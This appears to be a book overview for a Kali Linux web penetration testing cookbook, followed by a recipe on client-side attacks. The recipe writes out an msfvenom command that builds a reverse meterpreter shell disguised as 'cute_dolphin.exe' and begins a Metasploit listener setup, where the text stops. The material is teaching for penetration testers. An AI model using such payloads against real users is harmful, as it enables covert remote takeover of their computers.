Overview of this book

Web applications are a huge point of attack for malicious hackers and a critical area for security professionals and penetration testers to lock down and secure. Kali Linux is a Linux-based penetration testing platform and operating system that provides a huge array of testing tools, many of which can be used specifically to execute web penetration testing. This book will teach you, in the form step-by-step recipes, how to detect a wide array of vulnerabilities, exploit them to analyze their consequences, and ultimately buffer attackable surfaces so applications are more secure, for you and your users. Starting from the setup of a testing laboratory, this book will give you the skills you need to cover every stage of a penetration test: from gathering information about the system and the application to identifying vulnerabilities through manual testing and the use of vulnerability scanners to both basic and advanced exploitation techniques that may lead to a full system compromise. Finally, we will put this into the context of OWASP and the top 10 web application vulnerabilities you are most likely to encounter, equipping you with the ability to combat them effectively. By the end of the book, you will have the required skills to identify, exploit, and prevent web application vulnerabilities.

Creating a reverse shell with Metasploit and capturing its connections

When we do a client side attack, we have the ability to trick the user into executing programs and make those programs connect back to a controlling computer.

In this recipe, we will learn how to use Metasploit's msfvenom to create an executable program (reverse meterpreter shell) that will connect to our Kali computer, when executed, and give us the control of the user's computer.

How to do it...

First, we will create our shell. Open a terminal in Kali and issue the following command:
```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.56.1 LPORT=4443 -f exe > cute_dolphin.exe
```
This will create a file named cute_dolphin.exe, which is a reverse meterpreter shell; reverse means that it will connect back to us instead of listening for us to connect.
Next, we need to set up a listener for the connection our cute dolphin is going to create, in the msfconsole's terminal:
```
use exploit/multi/handler
set payload windows/meterpreter...
```
